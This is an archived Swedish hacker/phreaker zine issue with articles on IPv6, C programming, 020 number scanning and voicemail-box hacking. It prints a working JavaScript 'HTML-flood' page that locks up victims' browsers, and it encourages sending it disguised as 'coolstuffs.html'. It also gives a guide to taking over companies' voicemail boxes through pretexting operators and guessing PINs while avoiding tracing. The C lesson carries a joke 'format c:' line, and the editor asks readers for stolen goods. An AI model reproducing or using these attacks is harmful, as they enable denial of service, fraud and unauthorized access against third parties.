OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
Jasså, nu är jag här igen! zaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0x zaph0xzaph0--------------aph0xzaph----------------ph0x----------0x zaph0xzaph----------------ph0xzap----------------aph0-----------0x zaph0xzap------h0xzap------h0xza------ph0xzaph0xzaph------0-----0x zaph0xza------ph0xza------ph0xz------aph0xzaph0xzap------h0-----0x zaph0xz------------------aph0x--------------ph0xza------ph0-----0x zaph0x------------------zaph0--------------aph0xz------aph0-----0x zaph0------xzaph0xzaph0xzaph------0xzaph0xzaph0x----------------0x zaph------0xzaph0xzaph0xzap------h0xzaph0xzaph0-----------------0x zap------h0xzaph0xzaph0xza------ph0xzaph0xzaph------0xzaph0-----0x za------ph0xzaph0xzaph0xz------aph0xzaph0xzap------h0xzaph0-----0x z------aph0xzaph0xzaph0x------zaph0xzaph0xza------ph0xzaph0-----0x zaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0x Ascii är gjord av |sagn| (han går under många nick) {webmaster@grundsund.nu} ------------------------------------------------------------------------------- -{Innehåll}- 1. Ledare 2. Disclaimer 3. Introduktion till IPv6 4. Enkel HTML-flood 5. c/c++ kurs [2av3] 6. Hur du scannar 020 7. VoiceMailBox (VMB) 8. Avslutningen Vill du börja prenumerera? Skicka ett mail till PFA@marijuana.com -------------------------------------------------------------------------------- -{Ledare}- Välkommna till ännu ett nytt nummer av PFA. Det var ungefär en månad sen sist. Då var det inget större nummer, det var en jul-utgåva som jag hoppas att ni tyckte om det. Under den senaste tiden har det hänt mycket inom Zines-världen. Zitech har lagt av med underground och lagt ner SZineworld. Detta är mycket synd och vi alla saknar han. Men frågan är den varför han har lagt av med det? Detta ska jag försöka ta reda på tills nästa nummer. Men det cirkulerar så många rykten så att jag inte tänker skriva nått om det i detta nummret mer än detta. Så håll ut tills nästa nummer kommer. Men footek har _lovat_ att göra en mindre version av SZineWorld, och det är ett bra beslut. Så om ni vill ha upp mitt zine där får ni maila till c_o_d_ och säga till han att PFA borde vara med på deras sida. c.o.d@mindless.com [MAILA NU!] Jag är även desperat efter en ny dator så om ni eller någon som ni känner säljer stöldgods så kontakta mig =). Allt för denna ledaren zaph0x zaph0x@linux.nu --------------------------------------------------------------------------------- -{Disclaimer}- Allt du ser och läser i denna filen är endast skrivet i informationssyfte, jag avsäger mig allt ansvar för allt som ni kommer att göra efter att ha läst denna filen. Allt som skrivs går under journalist-lagen. Precis därför kan jag (och ev. medarbetare) inte vara skyldig till brott mot PUL (personuppgiftslagen). Det är inget brott att inneha, eller att sprida information fritt över internet än så länge. Men om ni skulle göra nått som inte är lagligt efter att ha läst denna text så kom inte och anklaga mig. /zaph0x zaph0x@linux.nu --------------------------------------------------------------------------------- -{Introduktion till IPv6}- Man tror att dom tillgängliga ip-adresserna i världen kommer att ta slut ca år 2005... och när ip-adresserna tar slut så betyder det helt enkelt att det inte går att ansluta något, som behöver en ip, till internet. Eftersom våra äldre bröder är så pass smarta, så har man sedan slutet på 1991 börjat utveckla ett nytt sätt som ska klara av att skapa mer ip-adresser i ett nätverk. Denna nya standard ska då kunna klara av att dela ut 3,40 x 10^38 adresser. Detta är betydligt mer än dagens IPv4, som man uppskattar ska klara av att dela ut ca 4 x 10^12 adresser. Varför nu detta? Räcker inte fyra miljarder ip-adresser till när vi är färre människor än så på jorden? Nej, det gör inte det. Man kan ju förvisso bortse från alla U- länder, för jag kan inte tänka mig att människor som inte har mat för dagen sitter med en dator, eller? Vidare kan man räkna bort alla infödingar i Afrika, folk över 120(?), och min mongo granne i trapphuset brevid. Iaf, detta beror på att utdelningen av dessa ip-adresser inte fungerar nå vidare. Det händer (och fötter) att stora företag som behöver max 1000 ip-adresser får närmare 30 000, beroende vilket sorts nät dom använder. Då är det en 29 000 adresser som inte användes, men blir oanvändbara ändå. Det nya systemet, IPv6, gör så att man inte behöver spara på adresserna... Inte för att dom sparar på dom nu, men ändå. Det nya med IPv6 är inte enbart att man får hur jävla många miljarder ip-adresser som helst, utan man har även lagt till nya saker såsom säkerhetsfunktioner och prioritetsfunktioner. Dessa två nya funktioner tänker jag inte gå in mer på i denna enkla introduktions txt. Det finns tre olika sätt att skriva adresserna som txtsträngar. Det första sättet är att skriva ut hela adressen i hexadecimala värden, vilket inte är nått större problem. (enkelt att komma ihåg oxå). Ex: XXXX:1X1X:111X:111:XXXX:11:1111:1X11 Andra sättet är komprimerad och inga nollvärden tas med. Ex: XX11::111X:11 (dubbla kolon betyder att allt mellan dessa ärnollor). Tredje sättet är ifall man måste ha med en IPv4 adress. Ex:1:1:1:1:1:1:199.161.122.165 IPv6 ligger än så länge på ett försöksstadium, och om man vill testa kan man smurfa till url'en www.6bone.net som är ett nätverk öppet för dom som vill testa den nya standarden. Finns lite annat där oxå, som rör IPv6... t ex vilka läner som är med och utvecklar mm. Har du linux, som alla elite ppl har, så är det bara att fixa en IPv6 adress. Men om du är trogen Windows user så får du vänta en stund tills Micro$oft släpper dom tilläggen som du behöver för att kunna nyttja IPv6. Till NT så vet jag att dom håller på och utvecklar... Men har ingen aning om det oxå kommer att finnas till vanliga och tråkiga Win9.x. Nästa steg efter 128 blir väll 256 bits ip-adresser osv. Jaja, den som lever får se brukar man ju säga... Skriven av: /Hedback /team DreamVizion --------------------------------------------------------------------------------- -{Enkel html-flood}- Skriven av Blazter Jag har gjort en liten HTML-flood, den är jävligt simpel, men extremt effektiv och smidig. Skicka bara över urlen till t ex nån som håller på och floodar på IRC och......borta! Det tog mindre än en minut att låsa min P2 400 MHz med 128 mb ram! Den skulle kunna göras effektivare, men det behövs inte... sen är det bra att om man är snabb kan killa browsern.... det klarar ju ändå inte en lamer.... och använd bara det här tricket mot folk som tigger om det. <HTML> <HEAD> <TITLE>DIE!</TITLE> <SCRIPT LANGUAGE="JavaScript"> total=0; function kill() { i=0; while(i < 1) { window.open("http://www.hotmale.com"); } } </SCRIPT> <script language="javascript"> if (document.layers || document.all) { a=1; setInterval("Jump()",10); } function Jump() { a=a+.1; self.moveBy((Math.random()*a*200 -a),(Math.random()*a*200)-a); } </script> </HEAD> <BODY onload="kill()" BGCOLOR="000000" TEXT="00FF00"> <h1>Congrationlations you will now have the honour to be killed by Blazter of DreamVizion!<br> Moahahahahahahahaha! </BODY> </HTML> Det skulle vara bra att alla som planerar att använda flooden, döper den till coolstuffs.html det vore ju onödigt om nån av oss skulle råka på den.... --------------------------------------------------------------------------------- -{c/c++}- Här kommer andra delen av c/c++ kursen. Hoppas att ni tyckte den första var bra för att om ni gjorde det så kommer ni definitivt att tycka denna är bra =). === VÄLKOMMEN TILL r0berts c/c++ KURS, UPPLAGA 2 === 1. Lite vanliga c/c++ 'kommandon' 2. Lite mer om printf() === LITE VANLIGA c/c++ 'KOMMANDON' === ok...nu ska vi gå igenom en hel del kommandon och liknande grejer som alltid är nyttiga att kunna när man programmerar ! =) ok, först ska vi snacka om kommandot 'return' return (värde) används för att avbryta en funktion och om önskat, returnera ett värde... om man skriver 'return' i funktionen main, så avslutas programmet....t.ex: om man skriver: 1. #include <stdio.h> 2. 3. void main(void) 4. { 5. return; 6. printf("detta kommer inte att synas"); 7. } ok...som ni kanske ser på en gång så kommer inte printf() funktionen hinna anropas för att return; som står på raden innan kommer att avsluta programmet innan printf() får en chans... =) i våran main funktion som vi skrev nyss kommer inte 'return' att returnera något värde, med tanke på att vi 'deklarerade' main att returnera 'void' (dvs inget) hade vi deklarerat main() till att returnera ett värde av typen 'int': int main(void) så hade vi kunna skriva t.ex: 1. #include <stdio.h> 2. 3. int main(void) 4. { 5. return (5); 6. } nu skulle main returnera värdet 5 när det avslutas.........detta kan användas i .bat filer (if errorlevel == 5 format c:) hehe.. tänk inte för mycket på det dära nu.....skulle bara demonstrera 'return' lite. ok, vad finns det mer för 'roliga' 'kommandon' att ta en titt på ? jo, först och främst måste jag medge en sak......dom flesta 'kommandona' är till för att deklararera olika skumma variablar....dessa 'kommandon' kallas även 'keywords' eller 'type modifiers' ... om ni minns från förra upplagan så skrev vi juh 'unsigned' och 'short' osv....dessa är s.k 'type modifiers' det finns hur många somhelst...och det skulle vara onödigt att gå in för långt på dem nu =) men istället kan vi snacka lite mer allmänt om hur man med olika tekniker kan tilldela värden till variablar =) låt oss säga att du vill deklarera 3st variablar av typen 'int' då skulle vi kunna skriva: int ett; int två; int tre; men som tur är finns det ett lättare sätt, nämligen att bara skriva en enda rad: int ett, två, tre; whiipss så har vi 3st olika int variablar.. =) men om man vill deklarera 3st variablar och ge alla ett värde skulle man skriva: int ett = 2; int två = 4; int tre = 6; hur kan man göra detta lättare då ?? =) t.ex såhär: int ett = 6, två = 4, tre = 6; du hajar va ?? det enda du behöver göra att först skriva 'typen' (t.ex: int) och sedan bara ange variabelnamn, och ge det ett värde, och sedan skriva ett 'komma' (,) och avsluta med ett 'kolon' (;) men tänk om man vill skapa 3st variablar av samma typ, men bara ge 2st av dem ett värde: detta skulle kunna göras på flera sätt.... t.ex: int ett = 4; int två = 7; int tre; eller: int ett = 4, två = 7; int tre; men....som lyckligtvis är så kan man skriva allt på en enda rad: =) int ett = 4,två = 7,tre; alla exempel där jag skrivit flera stycken variablar på en rad fungerar bara om alla variablar ska vara av samma typ... t.ex detta fungerar INTE: int siffra = 7, tecken = "C"; nu skulle din compiler ge ett errormeddelande och säga att det inte går att tilldela ett 'tecken-värde' till en 'int' variabel.... =) hajar du ? (hoppas det....hittade inget smartare sätt att förklara på :( ) ok...allt ovan handlade om DEKLARATIONER. när man väl har deklarerat en variabel kan man använda den igen ! =) t.ex: 1. #include <stdio.h> 2. 3. void main(void) 4. { 5. int x = 7; 6. 7. x = 9; 8. x = x + 5; 9. } ok...först och främst....detta program kommer INTE att skriva ut något på skärmen. på rad 5. DEKLARERAR vi en variabel av typen 'int' och tilldelar den värdet 7 på rad 7. tilldelar vi variabeln ett nytt värde..nämligen 9 på rad 8. tilldelar vi variabeln ännu ett nytt värde, som består av x (för tillfället 9) + 5 ...dvs 9 + 5 = 14 så x får nu värdet 14... när man tilldelar värden i c/c++ så finns det alltid en regel att följa ! det som står om höger om 'likamedtecknet' tilldelas till variabeln som står till vänster om 'likamedtecknet' dvs att om man skriver 19 = x; så blir det MEGAERROR för att man kan juh inte ändra värdet av 19....19 är juh alltid 19... däremot kan man alltid skriva: x = 19; för att så länge x är en variabel av typen 'int' så kan den hålla ett siffer värde...som i det här fallet är 19... man kan inte heller skriva flera variablar till vänster om likamedtecknet t.ex: x + y = 19.. för att detta är en ekvation....och detta kan inte lösas..... om man däremot vill ge samma värde till flera variablar (av samma typ) så kan man skriva x = y = 19; ok nu skulle både x och y få värdet 19.... eller ja, först skulle y få värdet 19 y = 19; och sedan skulle x få värdet av y x = y dvs att båda ändå skulle få 19... nu tycker jag att vi ska gå vidare och lära oss mera om printf() ! === LITE MER OM printf() === alla exempel som följer i detta 'kapitel' måste ha stdio.h #includerat... #include <stdio.h> hehe.. ok..printf() är ett måste att förstå för alla c/c++ programmerare... även om man inte behöver använda printf() när man programmerar med c++ så är säkert 70-80% av alla program och tutorials ni kan hitta på nätet gjorde med printf(). printf() är till för att skriva ut text på skärmen. den kan skriva ut innehållet ur variablar, eller skriva ut text som du själv skriver....eller blanda bådeoch.........dessa möjligheter gör printf() till det ultimata test-verktyget...med tanke på att den kan skriva ut vad du har satt in i dina variablar.......perfekt för felsökning.....t.ex om du har gjort ett komplicerat program som löser något skumt matematiskt problem, och något går fel så kan du testa att lägga till printf() kommandon som skriver ut alla dina variablar på skärmen så att du direkt kan se om du kan hitta felet i någon av variablarna =) jaja....nu ska vi gå till den praktiska delen =) ok....printf() kan ta emot hur många parametrar somhelst...typ.. =) men den första är alltid en text-sträng ! =) t.ex: printf("it-gymnasiets bästa quake-clan är VAM"); men på det här sättet kan du inte skriva ut några variablar.. anta att man vill skriva ut en variabel av typen int, då får man skriva t.ex: int hehe = 100; printf("%d",hehe); nu kommer printf() att skriva ut siffran 100 på din skärm =) men varför skriver man %d i text-strängen.......jo....för att det hjälper printf() att förstå att det kommer att stå en int variabel dära... och sedan som andra parameter skrev vi "hehe" ... ok.....anta att vi vill skriva först massa text, och sedan mitt i texten skriva värdet på en variabel...och sedan lite mera text..........vad skriver man då ?? jo...vi skriver: int hoho = 82; printf("Året 19%d föddes Kung r0bert",hoho); på din skärm kommer nu printf() att skriva: Året 1993 föddes kung r0bert hajar ni ?? hoppas det...annars e det bara att komma över till mig,...sitter på dator53 i grupp D... =) ok....hur skriver man ut flera variablar ???? jo....på detta sätt =) : int ett = 5; int två = 4; int tre = 1; printf("One %d Two %d Three %d",ett,två,tre); nu är det bara att lägga till flera "%d" och flera parametrar ,ett,två,tre... där det står %d första gången kommer den första parameterns värde att hamna (i det här fallet "ett") och nästa blir nästa...osv....från höger till vänster alltså =)) ok...men hur gör man en radbrytning då ??? enkelt ! =) int df = 454; int sdf = 23; printf("%d%d\n",df,sdf); hehe....en radbrytning gör man med "\n" varsomhelst i strängen... =) ok, om man vill skriva ut andra sorts variablar än typen 'int' ???? då är det bara att ändra bokstav framför %-tecknet..... för int är det 'd' (%d) om man vill skriva ut ett heltal i dess oktava eller hexadecimala värde är det bara att skriva %o eller %x (%X med stor bokstav om man vill att den ska skriva stora bokstäver) t.ex: int tal = 255; printf("the number %d is %o in the octal system\n",tal,tal); printf("the number %d is %x in the hexadecimal system\n",tal,tal); printf("the number %d is %X in the hexadecimal system",tal,tal); printf() kommer nu att skriva ut: the number 255 is 377 in the octal system the number 255 is ff in the hexadecimal system the number 255 is FF in the hexadecimal system lägg märke till hur jag använder \n för att hoppa till nästa rad och att det är skillnad på %x och %X =) om man vill skriva ut 'unsigned int' så skriver man %u: unsigned int hm = -13; printf("%u",hm); om man vill skriva ut variablar av typen 'long int' så skriver man %ld t.ex: long int flip = 999999; printf("%ld",flip); hehe för float skriver man %f om du vill skriva ut en variabel som innehåller en exponent så skriver du %e om du vill skriva ut variablar som du inte vet om dom innehåller en exponent eller inte så kan du skriva %g Skriven av r0bert. Om ni vill kontakta han joina #theNetw0rk @ EFnet --------------------------------------------------------------------------------- -{020 scanning}- I denna text ska jag gå igenom 020 scanning ganska lätt (alltså inte allt för invecklat). Okay, lets get started. Det du gör när du 020 scannar är att du ringer upp olika 020 nummer[1] och kolla va de har för mottagare[2]. Vad ska du välja för nummer?[3] [1] När du ringer 020 nummer så skall du göra det systematiskt, alltså börjar du på 020-170000 och scannar så långt du vill alltså typ till 020-180000. Då har du 10000 nummer att scanna, där kan du sitta och scanna ett tag =) När du scannar dem så kan du antingen sitta och ringa upp nummren för hand, detta är det bästa men jobbigaste sättet. När du ringer upp nummret och det svarar så skriver du upp vad det är som svarar om det är en VMB, eller om det är en människa eller telefonsvarare etc. Sen när du är klar så har du en fin lista som du kan sprida och ringa till, på det här sättet får du fram använbara 020 nummer. När du ringer 020 nummer så spelar det ingen större roll om du är anonym eller inte, alltså kan du sitta hemma och ringa från din telefon och titta på TeVe samtidigt så blir det inte så långtråkigt. [2] När du har ringt klart allting som du har besämt dig för att ringa så borde du ha en lång och läsbar lista över vad det var för någonting som svarade på andra sidan linjen. Då är det bara att börja "hacka" de som du tycker att du har användning av. [3] 020-79XXXX är de nummren som är innehållsrikast på olika saker som är bra för oss phreakers. Så jag rekommenderar dig att börja med att scanna de nummren. Många utav de nummren går utomlands, så det kan även vara kul att driva lite med den som svarar på andra sidan kusten. /zaph0x zaph0x@linux.nu --------------------------------------------------------------------------------- -{VMB}- I denna texten går jag igenom vad en VMB är för något. Läs och lär. --{ LÄS HELA TEXTEN INNAN DU GÖR NÅGOT!! }-- VMB betyder som sagt Voice Mail Box och det är en slags telefonsvarare som brukar användas på större företag så att kunderna kan prata in meddelanden till de som jobbar där. I denna texten tänkte jag mest gå igenom hur du hackar den. Det första du skall göra är att leta fram ett nummer till en VMB. Det gör du lättast genom 020 scanning. På nummren 020-79XXXX finns det väldigt många VMB's. Så där rekommenderar jag dig att scanna. I alla fall, när du har hittat en VMB så ringer du upp den. Det brukar vara en "personlig" röst som svarar. Rösten brukar presentera vilket företag du har nått och oftast hur du ska göra för att prata in ett meddelande och för att logga in på din VMB. Men det är inte meddelanden vi ska prata in. Vi ska ta över "boxen". Som man lättast gör genom att ta reda på ett login-nummer till "boxen". Det finns flera olika sätt att göra det, Social Engineering är ett, ett annat är att gissa dig fram till nummret (lite jobbigare, men kan funka bättre). Om du ska använda dig av Social Engineering så skall du ta kontakt med operatören och säga att du heter Anderson eller ett vanligt efternamn i Staterna, men du har inget förnamn så då gör vi om det =). Ring upp igen och få fram operatören och säg att du har glömt nummret till din "handledare" och säg att efternamnet är Andersson men att du inte vet förnamnet. Nu börjar säkert operatören att räkna upp massa namn om du låter trovärdig (som du ska göra). Sen har du ett namn så är det bara att lägga på och ringa upp igen. Koppla fram dig till operatören och säg att du heter XXXXXXX Anderson och att du har glömt av ditt inlognings-nummer. Förhoppningsvis får du nu detta och kan gå vidare. När du har ett inloggnings-nummer så gör du som rösten i början eller operatören säger för att logga in. Väl där ska man slå in en kod, eftersom att du inte vet hur lång den koden skall vara MEN nu ska du få lära dig hur du tar reda på det. När du slår in koden så ska du slå siffrorna sakta. Och efter ungefär fyra (det brukar vara standard men det kan vara mer eller mindre) så "knäpper" det till eller så säger en röst att koden var felaktigt. I vissa fall så funkar inte denna tekniken eftersom att man ibland måste man avsluta koden med en # eller en *. Då får du testa dig fram, 1#, 1*, 2#, 2*, etc. Sen säger rösten att det var en felaktig kod, då har du hur många siffror koden är på. Sen är det bara att försöka knäcka den, då kan du antingen sitta och slåolika nummer-kombinationer (1111, 0000, 1234, 4321, 1000 etc.) eller så skaffar du en VMB-hacker (till dator) och sätter den på att ringa upp din VMB och försöka knäcka koden. Om du har otur så kopplas du till operatören efter tre försök och då är det ganska irreterande efter ett tag. Så då rekommenderar jag att du tar och försöker på en annan VMB. När du väl är inne i VMBn så ska du byta pass-nummer och kolla runt lite, typ lyssna på alla meddelanden och ha kul. Ändra sedan välkomstmeddelnadet för din nya VMB. Sen sprider du nummret till alla dina evil hacker\phreaker polare och låter dem ringa till dig. Sen kan du ju också få in meddelanden från andra som ringer till den "riktiga" ägaren. Det är kul att lyssna på =) tro mig. Du kan ju även sätta upp en telefonkonferans (om det går). Tänk på det att försök till att hacka och även lyckade försök att hacka en VMB är olagliga, så var anonym när du ringer. Använd helst inte #31# eftersom att det då bara är att ringa till Telia så får man lätt reda på vilket nummer du ringer från. Det jag rekommendar dig att göra är att gå och ställa dig i en telefonautomat efter- som att det är 020 nummer du ringer till så är det lugnt. Annars kan du göra detta när du är ute och Beige-boxar (fast då vill man ju göra andra saker) /zaph0x zaph0x@linux.nu --------------------------------------------------------------------------------- -{Avslutningen}- jaha, då var det slut på detta nummret. Om ni inte gillade innehållet så får ni ta och knappra ihop en egen artikel och maila den till pfa@marijauna.com. Jag hoppas också att ni sprider detta zine till alla ni vet och känner, som sagt är det inte lika lätt att sprida zinet nu längre. Men det förlorar inte kvalitet för det, däremot kanske det blir bättre =). Jag hoppas på det i alla fall. Men ni som är kvar och förblir kvar skall i alla fall få mängder med nummer till, jag slutar inte skriva föränns jag inte orkar mer, även om min energi kanske går ner ibland, men den kommer tillbaks. Och det har jag er att tacka för. i detta nummret var det även två andra artiklar med, de kom från DreamVizion. Det var tänkt att vi skulle ha ett samarbete, men tyvärr så blev det inget med det, men jag har ändå ett par killar där som skriver ett par artiklar i månaden till mig och det är jag inte lessen för, det blir bara mer för er att läsa. Här finns alla nummer av PFA http://www.zaph0x.com (kommer upp snart) http://hem.fyristorg.com/progz/ (Min gamla hemsida, inte värd ett besök) Om ni vill lägga upp alla zines på eran hemsida är det bara att göra det och maila URL'en till mig så får ni lite gratisreklam för eran sida också =). Jag säger bara detta en gång till: Tycker du att zinet suger? Skriv då en egen artikel och skicka den till pfa@marijuana.com. Vet du nån som kan fixxa billiga datorer eller liknande till mig? maila mig på zaph0x@linux.nu. Over And Out!